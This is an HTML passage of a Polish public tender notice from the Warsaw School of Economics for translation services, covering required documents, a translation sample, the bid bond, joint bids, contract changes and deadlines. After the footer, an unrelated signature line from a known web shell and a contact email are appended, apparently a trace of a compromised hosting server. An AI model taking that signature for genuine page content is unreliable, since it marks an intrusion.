uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami - załącznik nr 7 do SWZ;2. Okresy wyrażone w latach lub miesiącach, o których mowa w pkt. 1, liczy się wstecz od dnia, w którym upływa termin składania ofert;3. Jeżeli wykonawca powołuje się na doświadczenie w realizacji usług, wykonywanych wspólnie z innymi wykonawcami, wykaz, o którym mowa w pkt. 1) lit. a), winien wykazać usługi, w których wykonywaniu wykonawca ten bezpośrednio uczestniczył, a w przypadku świadczeń powtarzających się lub ciągłych, w których wykonywaniu bezpośrednio uczestniczył lub uczestniczy;4. W przypadku, gdy wykonawca dla potwierdzenia spełniania warunków udziału w postępowaniu załączy dokumenty zawierające kwoty wyrażone w walutach innych niż złoty polski, Zamawiający przeliczy je na złoty polski. Do przeliczenia zostanie zastosowany średni kurs walut NBP obowiązujący w dniu publikacji ogłoszenia o zamówieniu.</span> </h3> <h3 class="mb-0">5.8.) Wykaz przedmiotowych środków dowodowych: </h3> 1.	W celu potwierdzenia zgodności oferowanych usług z wymaganiami określonymi w OPZ Zamawiający wymaga złożenia następujących przedmiotowych środków dowodowych:1)	Certyfikat ISO 17100:2015-06 lub równoważny, potwierdzający, iż usługi świadczone przez Wykonawcę w zakresie tłumaczenia zwykłego (nie przysięgłego) spełniają standardy: PN-EN ISO 17100:2015-06 bądź równoważnych norm w zakresie jakości świadczenia usług tłumaczeń pisemnych. 2)	Próbka tłumaczenia oraz weryfikacji tekstu anglojęzycznego przez native speakera wykonana na podstawie tekstu stanowiącego Załącznik 9 do SWZ. Na jej podstawie Zamawiający dokona oceny oferty w kryterium „Jakość wykonania”. Zmiany i poprawki należy nanieść w widoczny sposób. Zamawiający zastrzega, że próbka ma być wykonana na bardzo wysokim poziomie merytorycznym i językowym, przez co Zamawiający rozumie tekst tłumaczenia, i weryfikacji językowej spełniający następujące parametry oraz wymagania: a)	dokładność, kompletność i wierność tłumaczenia/ weryfikacji z treścią oryginału – przetłumaczono/poddano weryfikacji językowej poprawnie cały tekst, co oznacza m.in.: •	brak opuszczonych fragmentów tłumaczenia/weryfikacji językowej, •	zachowana koherencja logiczna i stylistyczna tekstu (oprócz poprawności pojedynczych zdań musi być zachowana logiczna i stylistyczna spójność i poprawność tekstu na poziomie akapitu i całości tekstu), •	brak błędnie przetłumaczonych fragmentów w tłumaczeniu (zdań, fraz, tytułów utworów), •	brak kalek językowych oraz zachowanie zasad interpunkcji i gramatyki języka docelowego bez interferencji z języka docelowego, •	brak niezweryfikowanych cytatów,•	brak błędów rzeczowych, •	zachowanie właściwej dla danej dziedziny terminologii, frazeologii oraz nazw własnych •	zachowanie spójności terminologicznej w całym tekście,•	zachowanie akademickiego rejestru stylistycznego w całym tekście. b)	przy formatowaniu Wykonawca będzie musiał wiernie wzorować się na tekście oryginalnym (tj. przyjąć układ graficzny oryginału: kursywa, czcionka pogrubiona, interlinie, układ śródtytułów, przypisy itp.). UWAGA: Próbka nie podlega uzupełnieniu. W przypadku, gdy Wykonawca nie złoży próbki, lub próbka nie będzie podpisana przez Wykonawcę w sposób określony w rozdziale XV ust. 3 jego oferta otrzyma w kryterium oceny ofert „Jakość wykonania” 0 punktów. <h3 class="mb-0">5.9.) Zamawiający przewiduje uzupełnienie przedmiotowych środków dowodowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.10.) Przedmiotowe środki dowodowe podlegające uzupełnieniu po złożeniu oferty: </h3> 1)	Certyfikat ISO 17100:2015-06 lub równoważny, potwierdzający, iż usługi świadczone przez Wykonawcę w zakresie tłumaczenia zwykłego (nie przysięgłego) spełniają standardy: PN-EN ISO 17100:2015-06 bądź równoważnych norm w zakresie jakości świadczenia usług tłumaczeń pisemnych. <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> Wykonawca zobowiązany jest złożyć wraz z ofertą za pośrednictwem Platformy, podpisane kwalifikowanym podpisem elektronicznym, podpisem zaufanym lub podpisem osobistym przez osoby uprawnione, na zasadach określonych w rozdziale XV ust. 3 – 11, dokumenty wymienione w rozdziale XV ust. 1:1)	oświadczenie dotyczące spełniania warunków udziału w postępowaniu oraz przesłanek wykluczenia z postępowania (załącznik nr 3 do SWZ);2)	formularz cenowy (załącznik nr 2 do SWZ stanowiący integralną część oferty);3)	dowody dot. „samooczyszczenia” (jeżeli dotyczy);4)	odpis lub informacja (wydruk) z Krajowego Rejestru Sądowego, Centralnej Ewidencji i Informacji Działalności Gospodarczej lub innego właściwego rejestru - w celu potwierdzenia, że osoba działająca w imieniu Wykonawcy jest umocowana do jego reprezentowania (dotyczy Wykonawcy również prowadzącego działalność w formie spółki cywilnej);/Wykonawca nie jest zobowiązany do złożenia tych dokumentów, jeżeli Zamawiający może je uzyskać za pomocą bezpłatnych i ogólnodostępnych baz danych, o ile Wykonawca wskazał dane umożliwiające dostęp do tych dokumentów/;5)	pełnomocnictwa (jeżeli dotyczy);6)	oświadczenie wykonawców wspólnie ubiegających się o udzielenie zamówienia zgodnie z art. 117 ust. 4 Ustawy (jeżeli dotyczy);7)	zobowiązanie podmiotu trzeciego (jeżeli dotyczy);8)	zastrzeżenie tajemnicy przedsiębiorstwa (jeżeli dotyczy);9)	Certyfikat ISO 17100:2015-06 lub równoważny, o których mowa w rozdziale VI ust. 1 pkt 1) SWZ.10)	Próbka tłumaczenia oraz weryfikacji tekstu anglojęzycznego przez native speakera , o której mowa w rozdziale VI ust. 1 pkt 2) SWZ. 11)	Dokument potwierdzający wniesienie wadium, o którym mowa w rozdziale XX SWZ. <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Tak</span></h3> <h3 class="mb-0">6.4.1) Informacje dotyczące wadium: </h3> 1.	Wykonawca zobowiązany jest do zabezpieczenia swojej oferty wadium w wysokości: 5 000 zł (słownie: pięć tysięcy 00/100 złotych);2.	Wadium wnosi się przed upływem terminu składania ofert.3.	Wadium może być wnoszone w jednej lub kilku następujących formach:1)	pieniądzu; 2)	gwarancjach bankowych;3)	gwarancjach ubezpieczeniowych;4)	poręczeniach udzielanych przez podmioty, o których mowa w art. 6b ust. 5 pkt 2 ustawy z dnia 9 listopada 2000 r. o utworzeniu Polskiej Agencji Rozwoju Przedsiębiorczości (Dz. U. z 2020 r. poz. 299).4.	Wadium w formie pieniądza należy wnieść przelewem na konto w Banku PKO S.A. VIII O/Warszawa nr rachunku 91 1240 1040 1111 0010 7123 0484 z dopiskiem „Wadium do postępowania „Usługi tłumaczeń pisemnych z języka polskiego na języki obce oraz z języków obcych na język polski na potrzeby Szkoły Głównej Handlowej w Warszawie ADZP.25.4.2021”.UWAGA: Za termin wniesienia wadium w formie pieniężnej zostanie przyjęty termin uznania rachunku Zamawiającego.5.	Wadium wnoszone w formie poręczeń lub gwarancji musi być złożone jako oryginał gwarancji lub poręczenia w postaci elektronicznej i spełniać co najmniej poniższe wymagania:1)	musi obejmować odpowiedzialność za wszystkie przypadki powodujące utratę wadium przez Wykonawcę określone w Ustawie;2)	z jej treści powinno jednoznacznej wynikać zobowiązanie gwaranta do zapłaty całej kwoty wadium;3)	powinno być nieodwołalne i bezwarunkowe oraz płatne na pierwsze żądanie;4)	termin obowiązywania poręczenia lub gwarancji nie może być krótszy niż termin związania ofertą (z zastrzeżeniem iż pierwszym dniem związania ofertą jest dzień składania ofert); 5)	w treści poręczenia lub gwarancji powinna znaleźć się nazwa oraz numer przedmiotowego postępowania;6)	beneficjentem poręczenia lub gwarancji jest: Szkoła Główna Handlowa w Warszawie. 7)	w przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia (art. 58 Ustawy), Zamawiający wymaga aby poręczenie lub gwarancja obejmowała swą treścią (tj. zobowiązanych z tytułu poręczenia lub gwarancji) wszystkich Wykonawców wspólnie ubiegających się o udzielenie zamówienia lub aby z jej treści wynikało, że zabezpiecza ofertę Wykonawców wspólnie ubiegających się o udzielenie zamówienia (konsorcjum);6.	Oferta wykonawcy, który nie wniesie wadium, wniesie wadium w sposób nieprawidłowy lub nie utrzyma wadium nieprzerwanie do upływu terminu związania ofertą lub złoży wniosek o zwrot wadium w przypadku, o którym mowa w art. 98 ust. 2 pkt 3 Ustawy zostanie odrzucona7.	Zasady zwrotu oraz okoliczności zatrzymania wadium określa art. 98 Ustawy. <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> 1.	Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia, w takim przypadku ustanawiają pełnomocnika do reprezentowania ich w postępowaniu o udzielenie zamówienia albo reprezentowania w postępowaniu i do zawarcia umowy.2.	Wykonawcy, którzy złożyli wspólną ofertę ponoszą, w razie wybrania ich oferty przez Zamawiającego, solidarną odpowiedzialność wobec Zamawiającego za wykonanie Umowy.3.	Wykonawcy wspólnie ubiegający się o zamówienie- łącznie muszą posiadać doświadczenie wskazane w pkt. 5.4 Ogłoszenia o zamówieniu4.	W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia w stosunku do żadnego z wykonawców nie zachodzą przesłanki podstaw do wykluczenia z postępowania.5.	Zgodnie z art. 117 ust. 3 i 4 Ustawy wykonawcy wspólnie ubiegający się o udzielenie zamówienia mogą polegać na zdolnościach tych z wykonawców, którzy wykonają dostawy, do realizacji których te zdolności są wymagane. W takiej sytuacji wykonawcy są zobowiązani dołączyć do oferty oświadczenie, z którego wynika, które dostawy wykonają poszczególni wykonawcy spośród wykonawców wspólnie ubiegających się o udzielenie zamówienia publicznego.6.	Każdy spośród wykonawców wspólnie ubiegających się o udzielenie zamówienia składa oświadczenie z art. 125 ust. 1 Ustawy. W takim przypadku oświadczenie potwierdza brak podstaw wykluczenia wykonawcy oraz spełnianie warunków udziału w postępowaniu w zakresie, w jakim każdy z wykonawców wykazuje spełnianie warunków udziału w postępowaniu.7.	Jeżeli zostanie wybrana oferta wykonawców wspólnie ubiegających się o udzielenie zamówienia, Zamawiający może żądać przed zawarciem umowy kopii umowy regulującej współpracę tych wykonawców. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> 1.	Wszelkie zmiany postanowień umowy wymagają formy pisemnej pod rygorem nieważności.2.	Zmiana umowy może nastąpić na zasadach określonych w art. 454 i 455 ustawy Pzp. 3.	Zmiana umowy dopuszczalna jest w zakresie i na warunkach przewidzianych poniżej:1)	zmiany podwykonawcy (ów) lub powierzenia realizacji części zamówienia podwykonawcom na zasadach przewidzianych w § 8 umowy;2)	zmiany terminu realizacji poszczególnych zleceń, o których mowa w § 3 ust. 5, z przyczyn niezawinionych przez Strony;3)	zmiany Wykonawcy, któremu Zamawiający udzielił zamówienia, w przypadku, gdy ma zastąpić go nowy wykonawca, w wyniku sukcesji, wstępując wprawa i obowiązki wykonawcy, w następstwie przejęcia, połączenia, podziału, przekształcenia, upadłości, restrukturyzacji dziedziczenia lub nabycia dotychczasowego wykonawcy lub jego przedsiębiorstwa, o ile wobec nowego wykonawcy, nie zachodzą podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian u, a także nie ma na celu uniknięcia stosowania przepisów ustawy;4)	zmiany obowiązywania umowy poprzez możliwość jej wydłużenia o maksymalnie 36 miesięcy w stosunku do terminu wskazanego w § 2 ust. 1 w przypadku wystąpienia przyczyn niezależnych od Zamawiającego lub braku wyczerpania kwoty maksymalnej umowy określonej w § 7 ust. 2.4.	Potwierdzenie konieczności zmiany umowy nastąpi poprzez sporządzenie i podpisanie przez przedstawicieli Stron stosownego protokołu, wraz z uzasadnieniem, opisującym przesłanki i celowość zmiany. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2021-05-05 10:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Wykonawca składa ofertę za pośrednictwem Platformy dostępnej pod adresem: https://sgh.eb2b.com.pl</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2021-05-05 10:30</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal"> 30 dni </span></h3></main><footer hidden><table style="border-top: 1px solid black; width:100%"><tr><td>2021-04-22 Biuletyn Zamówień Publicznych</td><td style="text-align:right">Ogłoszenie o zamówieniu - Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy - Usługi</td></tr></table></footer>

Creat By MiNi SheLL
Email: jattceo@gmail.com